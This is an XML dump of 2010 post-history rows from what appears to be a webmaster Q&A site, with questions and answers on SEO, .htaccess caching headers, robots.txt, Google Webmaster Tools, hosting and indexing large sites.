  <row Id="10502" PostHistoryTypeId="2" PostId="5273" RevisionGUID="76d358b2-bf0e-4c83-abeb-f9d2ffe4acc8" CreationDate="2010-11-10T11:05:30.140" UserId="233" Text="I said in the comment that it doesn't matter. What I mean is the difference is so small it's not worth worrying about.&#xD;&#xA;&#xD;&#xA;If you link to a page with &quot;banana split and chocolate sauce&quot; then the page can be returned for any of those 4 keywords. If you linked with &quot;banana split&quot; then a search for &quot;chocolate sauce&quot; would not return that page unless it has those words somewhere else. (And if those words were on the page, that would carry more weight that one in-link.)&#xD;&#xA;&#xD;&#xA;Whether the query &quot;banana split&quot; would favour the longer or shorter link text is pretty much impossible to discern.&#xD;&#xA;&#xD;&#xA;You could try testing it by linking to two pages with those two variations and see what comes on top (using `banana split site:example.com`). The problem here is that there would be so many other factors like surrounding text, position of links and so on." />
  <row Id="10503" PostHistoryTypeId="2" PostId="5274" RevisionGUID="be9ea7a7-2bb3-44c1-aa3d-04492d043ce8" CreationDate="2010-11-10T11:08:37.627" UserId="233" Text="Yes, it's possible to have multiple users for one Webmaster Tools account. The SEO company needs to have its own account, then add the site in question.&#xD;&#xA;&#xD;&#xA;They will get a verification code or file - they can send this to you to add to the site. Now they will become verified owners and can see all the same stats you do." />
  <row Id="10504" PostHistoryTypeId="2" PostId="5275" RevisionGUID="9bb527a2-68db-4e43-9ce0-13ab7ed7277c" CreationDate="2010-11-10T11:16:40.257" UserId="233" Text="You can put this in your htaccess:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;(?i)^.*\.(ico|flv|jpg|jpeg|png|gif|js|css)$&quot;&gt;&#xD;&#xA;    ExpiresActive On&#xD;&#xA;    ExpiresDefault A2592000&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;It will target files with those extensions (ico, flv, jpg and so on) and set the Expires header to be access time (A) plus 30 days (2592000 seconds). You can also add this at the server level if you have access to that.&#xD;&#xA;&#xD;&#xA;Once implemented, you can check the file headers using [this online tool][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seoconsultants.com/tools/headers" />
  <row Id="10505" PostHistoryTypeId="2" PostId="5276" RevisionGUID="9d8ef53f-a4fd-4d8c-9807-5701a04cc7e3" CreationDate="2010-11-10T12:01:41.060" UserId="711" Text="Regarding your question about whether or not to inform Google of this issue: no, this appears to clearly be a technical issue on the hosting side. After resolving it on your side, it'll automatically get resolved as Google recrawls your URLs. &#xD;&#xA;&#xD;&#xA;If this were a web-spam issue (which from your description does not appear to be the case), you could submit a [reconsideration request](http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35843), but as long as it's a technical issue, you don't need to do anything. " />
  <row Id="10506" PostHistoryTypeId="5" PostId="5255" RevisionGUID="789767d0-688a-474c-91e0-ee8bd57d9543" CreationDate="2010-11-10T12:20:44.023" UserId="480" Comment="added 300 characters in body" Text="We own a *.co.uk* address and use an Internet hosting company that has made mistakes around *DNS* in the past. Our main site is hosted on *www.* and their reluctance to allow editing of *AAAA* records on-line means our naked domain does not resolve.&#xD;&#xA;&#xD;&#xA;Currently when we attempt to reach the naked version there is no entry for the browser to go to and it displays an unreachable page (*nslookup* just says Name: *name of domain* with no further entries such as an *IP* or *Canonical Name*).&#xD;&#xA;&#xD;&#xA;We recently added the relevant *TXT* records to verify us to view both the *www.* version and the naked version of the domain in *Google Webmaster Tools* (in anticipation of the requests to our Internet host coming to fruition).&#xD;&#xA;&#xD;&#xA;Imagine our shock when double checking the *Site configuration &gt; Crawler access* and finding a (admittedly failing) *robots.txt* with a dynamically generated *HTML* page (full of crude pop-up *JavaScript*) with references to 3 of our most prominent competitors.&#xD;&#xA;&#xD;&#xA;**What could cause this to happen?**&#xD;&#xA;&#xD;&#xA;As we are in the UK I am assuming some *DNS* server is serving Google bad information. We are going to contact the Internet hosting company to fix our *A* and *AAAA* records once and for all, then check that they work in the *US* (using something like *OpenDNS*). Should we be doing more though, for instance informing *Google* (through *Webmaster Tools*) that we are now aware there is something currently wrong with our naked domain?&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;We have fixed our *A* records (not *AAAA*) and that has resolved the issue. But if there are further actions we should take for effectively having a parking page hosted on our active visitor-heavy, SEO-rich domain that advertised our competitors to US visitors, what would they be?&#xD;&#xA;" />
  <row Id="10507" PostHistoryTypeId="2" PostId="5277" RevisionGUID="1a15432d-b40f-4ed7-904c-c44d91594d04" CreationDate="2010-11-10T12:46:58.777" UserId="3130" Text="I am the first developer in a large scale web project, in the real estate sector. I am not an expert in any field, I know the basic of all, programming, databases, something about design and a little bit about SEO, and website optimization / caching. And I have some knowledge about other technologies and stuff that could be required in the project.&#xD;&#xA;&#xD;&#xA;So I am a developer, my boss does some drawing on a paper to present me his ideas and then I start programming and I show him the result. Until now there was no problem, but now the web application is large enough, and it lacks a little bit of database optimization and intuitive user interface. Beside the website, the project also has an offline newspaper, and a desktop application that is a reduced version of the online one, both this things are not managed by me, but by other people or developers that are external to the company.&#xD;&#xA;&#xD;&#xA;We do not use a collaboration tool for sharing knowledge between the people working on this project, just emails, and we do not use a development methodology, as for the team, we are: the developer(me), a designer, a secretary and the boss.&#xD;&#xA;&#xD;&#xA;I have the possibility to ask the boss hire the people I want so I can increase the team and have the right person dealing with the right part of the project.&#xD;&#xA;&#xD;&#xA;This is the story, the real question is, what should be my attitude towards the project and the company? Should I stay a developer and participate in taking decisions and organizing tasks from time to time to help the boss? Or should I get more serious about this and try to learn project management and implement everything I consider it's required to ensure the quality of the work and final results?&#xD;&#xA;&#xD;&#xA;I am the one who best knows what has been developed until now, should I try to organize all the work and the team? Or should I ask my boss to hire some expert to do that?&#xD;&#xA;&#xD;&#xA;I hope someone before has been in my position before and can give me any good indications..&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="10508" PostHistoryTypeId="1" PostId="5277" RevisionGUID="1a15432d-b40f-4ed7-904c-c44d91594d04" CreationDate="2010-11-10T12:46:58.777" UserId="3130" Text="What should I be responsible for as the first developer in a large scale web project?" />
  <row Id="10509" PostHistoryTypeId="3" PostId="5277" RevisionGUID="1a15432d-b40f-4ed7-904c-c44d91594d04" CreationDate="2010-11-10T12:46:58.777" UserId="3130" Text="&lt;web-development&gt;" />
  <row Id="10510" PostHistoryTypeId="2" PostId="5278" RevisionGUID="a179756a-8697-42b9-b7e9-eb60646d900c" CreationDate="2010-11-10T13:09:24.740" UserDisplayName="krishna" Text="My blog http://www.krishnavatar.com has pages at the navbar 'Home' and 'About Me', the 'About Me' page shows the 'Continue Reading' tag which i want to get rid off, i have borrowed some coding for the 'Continue Reading' option to my blog. Any solutions?" />
  <row Id="10511" PostHistoryTypeId="1" PostId="5278" RevisionGUID="a179756a-8697-42b9-b7e9-eb60646d900c" CreationDate="2010-11-10T13:09:24.740" UserDisplayName="krishna" Text="PAGES in blogspot show 'Continue Reading' in my blog" />
  <row Id="10512" PostHistoryTypeId="3" PostId="5278" RevisionGUID="a179756a-8697-42b9-b7e9-eb60646d900c" CreationDate="2010-11-10T13:09:24.740" UserDisplayName="krishna" Text="&lt;blogger&gt;" />
  <row Id="10513" PostHistoryTypeId="2" PostId="5279" RevisionGUID="b49273dc-ba46-4443-99d4-2dde51fac08d" CreationDate="2010-11-10T13:28:45.587" UserId="7427" Text="There are multiple steps in designing a new project. The first step starts with the generic idea of what you want. Or in this case, what your boss wants. He provides you information and you write down notes and collect information about his precise wishes. Stay away from your computer, unless you just use it to keep notes!&lt;br /&gt;&#xD;&#xA;In step two, you open your favorite text editor and start writing down a basic plan based on the ideas you've just collected. You determine your needs and make estimates about how long each feature will take to design, develop and test. You write a nice document and you let your Boss read it to make sure you're on the right track.&lt;br /&gt;&#xD;&#xA;In step 3, you start designing some code examples, simple databases, some mock-up and whatever else to provide you more details on what needs to be built. **You are at this level now!** It's far from finished but it will allow you to divide the project in logical blocks. This is also a good point to start generating lots of diagrams, preferably UML diagrams, that will provide plenty of details of the whole project. This should give you more detailed information on all the parts of the project and to make better estimates of the time needed to finish each part.&lt;br /&gt;&#xD;&#xA;Step 4 is basically the part where the workload gets divided. You know the parts, you know how long each part will take, approximately and you should have detailed information about what each part should do. Use this information to decide if you need more developers and let each developer write a technical design for the piece of the project that they will be working on. These technical designs then need to be reviewed to make sure they all fit together.&lt;br /&gt;&#xD;&#xA;Writing code is step 5. Now the real code-monkeys will start working! All code written up to this moment will just have to be stored and might be used as reference material, but should **NOT** be used for production code without proper checks. Use a Source/Version Control System to maintain the code between all developers.&lt;br /&gt;&#xD;&#xA;Still not ready, you now go to step 6, which is testing. Developers should never test their own code, or the code of their team-members. So you will need to find/hire some experienced testers who are willing to test the whole project. If you deliver your project untested, you will definitely lose customers and the value of your project will be next to nothing.&lt;br /&gt;&#xD;&#xA;Finally, step 7: deliver the product to the users. For web applications, this means making the server accessible for the World.&lt;br /&gt;&lt;br /&gt;I estimate that you're halfway step 3 at this moment. While whatever you've build might look great to you, don't even think it will be nearly finished! What you have could still be used for small-scale situations but you have a long road to go. You will have to pick some development methodology and you will need to start creating a lot more documentation. Functional designs, technical designs, UML diagrams and whatever more. And yes, this takes a lot of valuable time, but also keep in mind that all these documents can be used from a marketing perspective too! Your boss could use it to find investors, who can now examine what you're trying to create&lt;br /&gt;&lt;br /&gt;You have a very small team so I would think you will need some additional help. I would suggest that you find two more developers and an additional tester. While your secretary could do some of the testing, their regular job will make it impossible for them to do complete tests. Most likely, they will click 5 buttons and then tell you it's broken... An experienced tester will tell you where the final product is having errors and where it stops following the original design!&lt;br /&gt;And you? You should become a project manager! As you say, you have some experience but to build a large-scale project, you will definite need an expert. Preferably two or more. You would be their chief and you will be the one who will make the technical decisions. And the developers will first have to write technical documentation, which you will need to approve before they can write the code.&lt;br /&gt;Don't stay a developer, though! You're too inexperienced to handle large-scale projects! You would be great to manage the whole project, but not to build it yourself!" />
  <row Id="10514" PostHistoryTypeId="2" PostId="5280" RevisionGUID="68cc8778-59ab-4887-b8df-4b8680fd06ae" CreationDate="2010-11-10T13:47:36.200" UserId="2293" Text="A medium to large scale project has many points to observe. One step I really think you should go through along with project design is setting expectatives and service level agreements. I mean, you and your boss should define along with other requirements:&#xD;&#xA;&#xD;&#xA;- how many people we estimate to use our app?&#xD;&#xA;- do we need to worry about performance? (this question depends on previous answer).&#xD;&#xA;- if yes on the previous answer, what are the desired measures (max response time = 3 seconds at full load? 5 seconds? half second?)&#xD;&#xA;- how much data will we generate? do we need to worry about storage?&#xD;&#xA;&#xD;&#xA;This kind of questions lead you to a better server and app sizing and design.&#xD;&#xA;&#xD;&#xA;The first idea that cross my mind is to hire a designer to take care about UIs, effects, and so on. You already have one. That's great.&#xD;&#xA;&#xD;&#xA;The second idea is to have a formal testing methods batch (unit tests, requirements reviews, software design reviews, ux testing, performance/stress/load testing). This can REALLY determine if you are done or if you still need to work polishing further.&#xD;&#xA;&#xD;&#xA;With previous step, you can determine for example if the bottleneck is within database, application, server responsiveness (too many calls), and will help you to talk to your boss, show real data and say &quot;we need to hire a DBA&quot; or &quot;we need a PL/SQL developer&quot; or &quot;hey, let's tell designer to use CSS sprites&quot; or so on...&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="10515" PostHistoryTypeId="2" PostId="5281" RevisionGUID="027f968f-a6fa-4b21-8da3-6f500b525203" CreationDate="2010-11-10T14:01:37.827" UserId="1253" Text="[Awstats][1]  &#xD;&#xA;&#xD;&#xA;  [1]: http://awstats.sourceforge.net/" />
  <row Id="10516" PostHistoryTypeId="2" PostId="5282" RevisionGUID="1df9c69d-bbfe-441b-9622-a40b1cf59a54" CreationDate="2010-11-10T14:17:16.423" UserId="1253" Text="Similar answer to DisgruntledGoat:&#xD;&#xA;&#xD;&#xA;Place this in an .htaccess file in your root directory.&#xD;&#xA;&#xD;&#xA;    ExpiresActive On&#xD;&#xA;    ExpiresDefault &quot;access plus 1 seconds&quot;&#xD;&#xA;    ExpiresByType image/x-icon &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType image/jpeg &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType image/png &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType image/gif &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType application/x-shockwave-flash &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType text/css &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType text/javascript &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType application/x-javascript &quot;access plus 2692000 seconds&quot;&#xD;&#xA;    ExpiresByType text/html &quot;access plus 600 seconds&quot;&#xD;&#xA;    ExpiresByType application/xhtml+xml &quot;access plus 600 seconds&quot;&#xD;&#xA;    &lt;FilesMatch &quot;\\.(ico|jpe?g|png|gif|swf|css|js)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=2692000, public&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;    &lt;FilesMatch &quot;\\.(x?html?|php)$&quot;&gt;&#xD;&#xA;        Header set Cache-Control &quot;max-age=600, private, must-revalidate&quot;&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;    Header unset ETag&#xD;&#xA;    Header unset Last-Modified" />
  <row Id="10517" PostHistoryTypeId="2" PostId="5283" RevisionGUID="cdada3e0-9891-4859-8912-c07b2f092d7b" CreationDate="2010-11-10T14:53:32.867" UserDisplayName="Andy" Text="Suppose you're re-designing an existing large site. The first thing to do is to figure out how the site is structured, how many links, pages, sub domains, etc.&#xD;&#xA;&#xD;&#xA;Is there a tool you can use to crawl a site and have an easy-to-understand site map generated?" />
  <row Id="10518" PostHistoryTypeId="1" PostId="5283" RevisionGUID="cdada3e0-9891-4859-8912-c07b2f092d7b" CreationDate="2010-11-10T14:53:32.867" UserDisplayName="Andy" Text="How do you figure out a large site link/structure ?" />
  <row Id="10519" PostHistoryTypeId="3" PostId="5283" RevisionGUID="cdada3e0-9891-4859-8912-c07b2f092d7b" CreationDate="2010-11-10T14:53:32.867" UserDisplayName="Andy" Text="&lt;sitemap&gt;" />
  <row Id="10520" PostHistoryTypeId="2" PostId="5284" RevisionGUID="307f0949-8d11-442b-a85f-ddb136827c3c" CreationDate="2010-11-10T14:57:43.923" UserId="2209" Text="You could try http://www.xml-sitemaps.com/ to create a sitemap, but I think it is limit to 500 links." />
  <row Id="10521" PostHistoryTypeId="2" PostId="5285" RevisionGUID="9c4ae840-91e2-46c2-b51c-e61a087b47bd" CreationDate="2010-11-10T15:35:26.980" UserId="3137" Text="There's a few subdomains on my homepage where I tak advantage of robots.txt to block search engines for indexing their contents, like my images and downloads subdomains as I don't want the direct URLs for this content to be indexed.&#xD;&#xA;&#xD;&#xA;I do it like this:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;Now I have a new subdomain 'facebook' which I'll be using to host apps developed for Facebook. My question is, should I use the code above to also block this subdomain?&#xD;&#xA;&#xD;&#xA;The app itself shouldn't be accessed and used through the direct URL (but it still works I believe, didn't test it though), it should be used through the canvas URL, which is something like `apps.facebook.com/app_name`. I don't mind search engines to index this URL, it's the right one to index. But I don't think it makes sense for them to index something like 'facebook.mydomain.com/apps/app_name'.&#xD;&#xA;&#xD;&#xA;Should I block search engines with robots.txt for Facebook applications or should I ignore it? Any good reason for allowing search engines to crawl it?" />
  <row Id="10522" PostHistoryTypeId="1" PostId="5285" RevisionGUID="9c4ae840-91e2-46c2-b51c-e61a087b47bd" CreationDate="2010-11-10T15:35:26.980" UserId="3137" Text="Should I block search engines with robots.txt on my Facebook app?" />
  <row Id="10523" PostHistoryTypeId="3" PostId="5285" RevisionGUID="9c4ae840-91e2-46c2-b51c-e61a087b47bd" CreationDate="2010-11-10T15:35:26.980" UserId="3137" Text="&lt;search-engines&gt;&lt;facebook&gt;&lt;robots.txt&gt;&lt;crawling&gt;" />
  <row Id="10524" PostHistoryTypeId="2" PostId="5286" RevisionGUID="72d8ec5c-7bff-4501-9767-10fafb8a670d" CreationDate="2010-11-10T15:46:39.623" UserId="3138" Text="I was wondering if anyone had any actual statistics on this. I was curious if having a video on a website makes an exceptional difference to the quality of traffic coming to the site." />
  <row Id="10525" PostHistoryTypeId="1" PostId="5286" RevisionGUID="72d8ec5c-7bff-4501-9767-10fafb8a670d" CreationDate="2010-11-10T15:46:39.623" UserId="3138" Text="Does having video on a website increase the quality of traffic coming to the site?" />
  <row Id="10526" PostHistoryTypeId="3" PostId="5286" RevisionGUID="72d8ec5c-7bff-4501-9767-10fafb8a670d" CreationDate="2010-11-10T15:46:39.623" UserId="3138" Text="&lt;seo&gt;&lt;traffic&gt;&lt;website-features&gt;&lt;video&gt;" />
  <row Id="10527" PostHistoryTypeId="5" PostId="5215" RevisionGUID="76c23285-930d-46eb-b89a-2e264b0c90d6" CreationDate="2010-11-10T15:47:14.863" UserId="1757" Comment="put link from comment in answer" Text="Try a google search, the exact phrase you will be looking for is &quot;International SMS Gateway&quot;. &#xD;&#xA;&#xD;&#xA;We also use twilio for a couple apps and have to say nothing beats their level of support and developer friendliness.  Also contact twilio for a reference.  I spoke with them once about SIP programming and they referred me to some great companies.&#xD;&#xA;&#xD;&#xA;You can also try [cdyne's SMS service][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cdyne.com/products/sms-notify.aspx &quot;SMS Notify&quot;" />
  <row Id="10528" PostHistoryTypeId="2" PostId="5287" RevisionGUID="1139cd1a-3be2-4450-aba6-62b06bee5c05" CreationDate="2010-11-10T15:59:39.363" UserId="1953" Text="I use Xenu Link Sleuth, it will take a long time to run on a big site, but it will tell you how many levels each page is from the home page as well as how many internal links are pointing to the page and out from the page. It also gives data on broken links, redirects etc. and it's free." />
  <row Id="10529" PostHistoryTypeId="2" PostId="5288" RevisionGUID="5e917ebe-399f-4afc-bcc9-a2ac2597de2b" CreationDate="2010-11-10T16:01:30.237" UserId="1953" Text="Piwik is open source (free) and is self hosted. I believe woopra is the same but haven't used it myself. " />
  <row Id="10530" PostHistoryTypeId="2" PostId="5289" RevisionGUID="9e05a823-ece9-48cd-94cb-ecbf00ea8a2b" CreationDate="2010-11-10T16:09:33.393" UserId="1253" Text="Just *having* a video in-and-of itself isn't going to deliver quality traffic as you don't hear people saying, &quot;I feel the need to watch a video. I don't care what video or how it good it is. It just has to be a video&quot;. So if your goal is to attract &quot;quality&quot; users you should post &quot;quality&quot; content and that includes videos. If you can produce quality videos that your users would find useful/entertaining (depending on what your site is about) you will give users a reason to stay on your site and come back in the future. If the videos are not useful/entertaining you'll encourage users to leave your site and they'll be less likely to come back.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10531" PostHistoryTypeId="2" PostId="5290" RevisionGUID="2d95f4b5-8a6e-47df-ad6a-0f2e882c382e" CreationDate="2010-11-10T16:14:48.980" UserId="1953" Text="There are lots of different types of videos that can yield different results, for example a viral video, might generate a lot of traffic and even repeat visitor as they show their friends, but they won't be loyal visitors or even high converting visitors. On the other hand if you're doing an in depth series such as how to do X and have parts 1-10 each posted a week apart, if it's useful people will want to subscribe and visit your site often as a reference.&#xD;&#xA;&#xD;&#xA;These are just two examples of uses for videos, there are many more. So the short answer is that it can but it doesn't always. " />
  <row Id="10532" PostHistoryTypeId="2" PostId="5291" RevisionGUID="332ae824-6b0f-4e0e-bc35-4e304defadbf" CreationDate="2010-11-10T16:16:52.890" UserId="1757" Text="Does having MP3s on a website increase the quality of traffic coming to the site? What about JavaScript? What about bullet lists? Or cooking recipes?&#xD;&#xA;&#xD;&#xA;Having rich content increases the quality of traffic coming to a site. It's got nothing to do with a specific technology or content type. Arbitrarily adding a video to your site for the sake of having a video is not going to do anything for your site except slow down the performance. In fact, that sort of thinking is indicative of a get-rich-quick mindset that is not conducive to running a successful website." />
  <row Id="10533" PostHistoryTypeId="2" PostId="5292" RevisionGUID="d3649ab1-caf3-44cb-ac2c-39f1c950769e" CreationDate="2010-11-10T16:28:57.620" UserId="1253" Text="Block it. If there's no reason for them to be there by directly accessing that URL then you should do your best to prevent users from stumbling upon it. You never know if there is a vulnerability or some other issue related to direct access of that content so if there's no need for someone to access it that way why even leave the possibility open for problems related to this? If that content is designed for access through Facebook then make sure that's the only way to get there." />
  <row Id="10534" PostHistoryTypeId="2" PostId="5293" RevisionGUID="2943de1d-4cc5-462a-91b9-aa78576827b8" CreationDate="2010-11-10T16:34:16.853" UserId="1920" Text="I switched to Skydrive for my image hosting recently, and after getting the page formatting the way it needed to be, I ran into an issue with my RSS feed. In particular, when I used `img src=` the image would show up in the feed. However, the images in iFrames do not.&#xD;&#xA;&#xD;&#xA;The iFrames are formatted perfectly for my margins and all I need to do is copy and paste an embed code. With the `img`, I will need to add all of the dimension code. Obviously I would like to continue using iFrames since they fit well and need little work, `img src` is a do-able but more involved solution (read: I don't want to have to tinker around in HTML if possible). &#xD;&#xA;&#xD;&#xA;Most of all I just want all the images on my page to show up in my reader: what are my options?" />
  <row Id="10535" PostHistoryTypeId="1" PostId="5293" RevisionGUID="2943de1d-4cc5-462a-91b9-aa78576827b8" CreationDate="2010-11-10T16:34:16.853" UserId="1920" Text="How do I get iFramed images to show up in RSS?" />
  <row Id="10536" PostHistoryTypeId="3" PostId="5293" RevisionGUID="2943de1d-4cc5-462a-91b9-aa78576827b8" CreationDate="2010-11-10T16:34:16.853" UserId="1920" Text="&lt;html&gt;&lt;rss&gt;&lt;iframe&gt;" />
  <row Id="10537" PostHistoryTypeId="2" PostId="5294" RevisionGUID="d184e1fc-5062-48bf-b774-519258b65b04" CreationDate="2010-11-10T18:05:58.217" UserId="3122" Text="i have a domain www.personal.pk with which i got my email... the company from which i got hosting from says the my email has following feature&#xD;&#xA;&#xD;&#xA; - Email (pop3) &#xD;&#xA; - IMAP Compatible &#xD;&#xA; - WebMail&#xD;&#xA; - Email Aliases (unlimited)&#xD;&#xA; - Email Forwarding&#xD;&#xA; - Catch All Email Address&#xD;&#xA; - Auto Reply&#xD;&#xA;&#xD;&#xA;the thing is i am accessing my email and all the others email through Webmail using a service provided by the company called &quot;HORDE&quot;... when i open an mail account i can see the inbox of other by just changing slection of a **select(dropdown) box\list**.. meaning on user can see the email of others.. somebody told me the solution is integrate it with google and use the Gmails interface... HOW TO DO IT?" />
  <row Id="10538" PostHistoryTypeId="1" PostId="5294" RevisionGUID="d184e1fc-5062-48bf-b774-519258b65b04" CreationDate="2010-11-10T18:05:58.217" UserId="3122" Text="Personal Domain Email Integration" />
  <row Id="10539" PostHistoryTypeId="3" PostId="5294" RevisionGUID="d184e1fc-5062-48bf-b774-519258b65b04" CreationDate="2010-11-10T18:05:58.217" UserId="3122" Text="&lt;email&gt;&lt;integration&gt;" />
  <row Id="10540" PostHistoryTypeId="2" PostId="5295" RevisionGUID="e8d7b525-460c-4b6b-90ae-e948385ef86d" CreationDate="2010-11-10T18:21:20.637" UserId="132" Text="[Mint][1] is fairly popular. I haven't used it, but it looks great and has received good press in the past. It is a self-hosted app.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.haveamint.com/" />
  <row Id="10541" PostHistoryTypeId="2" PostId="5296" RevisionGUID="5ea8c2a2-f94f-4429-a55c-91d4c46bd0a8" CreationDate="2010-11-10T18:34:00.773" UserId="2595" Text="I always thought that it could only be done with a domain purchased through Google. Anyway, you do it with a service called google apps:&#xD;&#xA;http://www.google.com/apps/intl/en/business/index.html" />
  <row Id="10542" PostHistoryTypeId="2" PostId="5297" RevisionGUID="8616a7a4-dfa0-4dd6-9b54-c8b757992964" CreationDate="2010-11-09T03:02:42.630" UserDisplayName="pwee167" Text="Firstly, I know there are alot questions about hosting recommendations. Let me just say I have looked (for this specific case), and couldn't find much. I would assume there are few people making ASP.Net MVC2 apps and would prefer to host it in Australia (local support, latency etc).&#xD;&#xA;&#xD;&#xA;I am after some **recommendations/reviews** of hosting companies that do **mvc in Australia**.&#xD;&#xA;I want cheap shared hosting around the $20 mark. I also would need a small mssql db as part of the package. Other than that, its all about support and uptime for me.&#xD;&#xA;&#xD;&#xA;I have looked and found the following but haven't a firm feel for any of them yet.&#xD;&#xA;&#xD;&#xA; 1. [Studiocoast][1] &#xD;&#xA; 2. [webhostforasp][2]&#xD;&#xA; 3. [Expeed][3]&#xD;&#xA; 4. [aspwebhosting][4]           &#xD;&#xA;&#xD;&#xA;Cheers in advance!&#xD;&#xA;&#xD;&#xA;  [1]: http://www.studiocoast.com.au/web-hosting.aspx&#xD;&#xA;  [2]: http://webhostforasp.net.au/shared-hosting/features.aspx&#xD;&#xA;  [3]: http://expeed.com.au/&#xD;&#xA;  [4]: http://www.aspwebhosting.com.au/" />
  <row Id="10543" PostHistoryTypeId="1" PostId="5297" RevisionGUID="8616a7a4-dfa0-4dd6-9b54-c8b757992964" CreationDate="2010-11-09T03:02:42.630" UserDisplayName="pwee167" Text="ASP.NET MVC 2 Hosting in Australia" />
  <row Id="10544" PostHistoryTypeId="3" PostId="5297" RevisionGUID="8616a7a4-dfa0-4dd6-9b54-c8b757992964" CreationDate="2010-11-09T03:02:42.630" UserDisplayName="pwee167" Text="&lt;asp.net&gt;&lt;mvc&gt;&lt;web-hosting&gt;" />
  <row Id="10545" PostHistoryTypeId="17" PostId="5297" RevisionGUID="d0522af8-8879-4ab0-a0cd-9910cec8288d" CreationDate="2010-11-10T19:39:48.480" UserId="-1" Comment="from http://stackoverflow.com/questions/4130137/asp-net-mvc-2-hosting-in-australia" Text="" />
  <row Id="10546" PostHistoryTypeId="2" PostId="5298" RevisionGUID="854b6d59-16e4-4979-9639-4ed9595f7c14" CreationDate="2010-11-10T19:52:24.097" UserDisplayName="BoDiE2003" Text="You should look at some dedicated servers at www.softlayer.com - Top of the top&#xD;&#xA;and might be some others, cheapier like WebHostingWorld etc.&#xD;&#xA;&#xD;&#xA;There is a huge and extensive list of ads and reviews at WebHostingTalk" />
  <row Id="10547" PostHistoryTypeId="2" PostId="5299" RevisionGUID="0748dc80-4d1d-41bc-bcc8-bf85fc3bd1d1" CreationDate="2010-11-10T20:06:14.070" UserDisplayName="BoDiE2003" Text="Remember that Google Instant Preview now will do a big effort on checking site correct designs and how much of your links are on each page, affecting obviously your Instant Preview, so if you cannot make a correct 'fit' into theirs preview, your site will be punished" />
  <row Id="10548" PostHistoryTypeId="2" PostId="5300" RevisionGUID="3d6fb6d8-b5eb-4eb8-89fc-706f3d805392" CreationDate="2010-11-10T20:25:58.370" UserId="3142" Text="We are currently developing a site that currently has 8 million unique pages that will grow to about 20 million right away, and eventually to about 50 million or more.&#xD;&#xA;&#xD;&#xA;Before you criticize... **Yes, it provides unique, useful content.** We continually process raw data from public records and by doing some data scrubbing, entity rollups, and relationship mapping, we've been able to generate quality content, developing a site that's quite useful and also unique, in part *due* to the breadth of the data.&#xD;&#xA;&#xD;&#xA;It's PR is 0 (new domain, no links), and we're getting spidered at a rate of about 500 pages per day, putting us at about 30,000 pages indexed thus far. At this rate, it would take over 400 years to index all of our data.&#xD;&#xA;&#xD;&#xA;I have two questions:&#xD;&#xA;&#xD;&#xA; 1. Is the rate of the indexing directly correlated to PR, and by that I mean is it correlated enough that by purchasing an old domain with good PR will get us to a workable indexing rate (in the neighborhood of 100,000 pages per day).&#xD;&#xA; 2. Are there any SEO consultants who specialize in aiding the indexing process itself. We're otherwise doing very well with SEO, **on**-page especially, besides, the competition for our &quot;long-tail&quot; keyword phrases is pretty low, so our success hinges mostly on the number of pages indexed.&#xD;&#xA;&#xD;&#xA;Our main competitor has achieved approx 20MM pages indexed in just over one year's time, along with an Alexa 2000-ish ranking.&#xD;&#xA;&#xD;&#xA;Noteworthy qualities we have in place:&#xD;&#xA;&#xD;&#xA; - page download speed is pretty good (250-500 ms)&#xD;&#xA; - no errors (no 404 or 500 errors when getting spidered)&#xD;&#xA; - we use Google webmaster tools and login daily&#xD;&#xA; - friendly URLs in place&#xD;&#xA; - I'm afraid to submit sitemaps. Some SEO community postings suggest a new site with millions of pages and no PR is suspicious. There is a [Google video of Matt Cutts speaking of a staged on-boarding of large sites][1], too, in order to avoid increased scrutiny (at approx 2:30 in the video).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://video.google.com/videoplay?docid=3583760678227172395&amp;q=large+sites+matt+cutts#" />
  <row Id="10549" PostHistoryTypeId="1" PostId="5300" RevisionGUID="3d6fb6d8-b5eb-4eb8-89fc-706f3d805392" CreationDate="2010-11-10T20:25:58.370" UserId="3142" Text="How to get tens of millions of pages indexed by Google bot?" />
  <row Id="10550" PostHistoryTypeId="3" PostId="5300" RevisionGUID="3d6fb6d8-b5eb-4eb8-89fc-706f3d805392" CreationDate="2010-11-10T20:25:58.370" UserId="3142" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;indexing&gt;" />
  <row Id="10551" PostHistoryTypeId="2" PostId="5301" RevisionGUID="8aa592d0-4579-4282-9d0f-9e22b5af9eea" CreationDate="2010-11-10T20:55:46.337" UserId="2595" Text="Let me just say that doing this sort of thing with .htaccess files has never been a strong point for me. Let's say that I have a directory in my web root: /dir/data&#xD;&#xA;Within that directory let's say that I have a file called data.txt&#xD;&#xA;I need to completely restrict access to data.txt (or the whole data directory). The only things that I want to be able to access the data.txt is a script located at /dir/data.php&#xD;&#xA;I also use scp in a shell file on another server to update the data.txt file, hence this shell file will have to be allowed to access the directory and file as well. I for the life of me can't seem to find what I need on Google (though I know it's there somewhere). I really appreciate any help." />
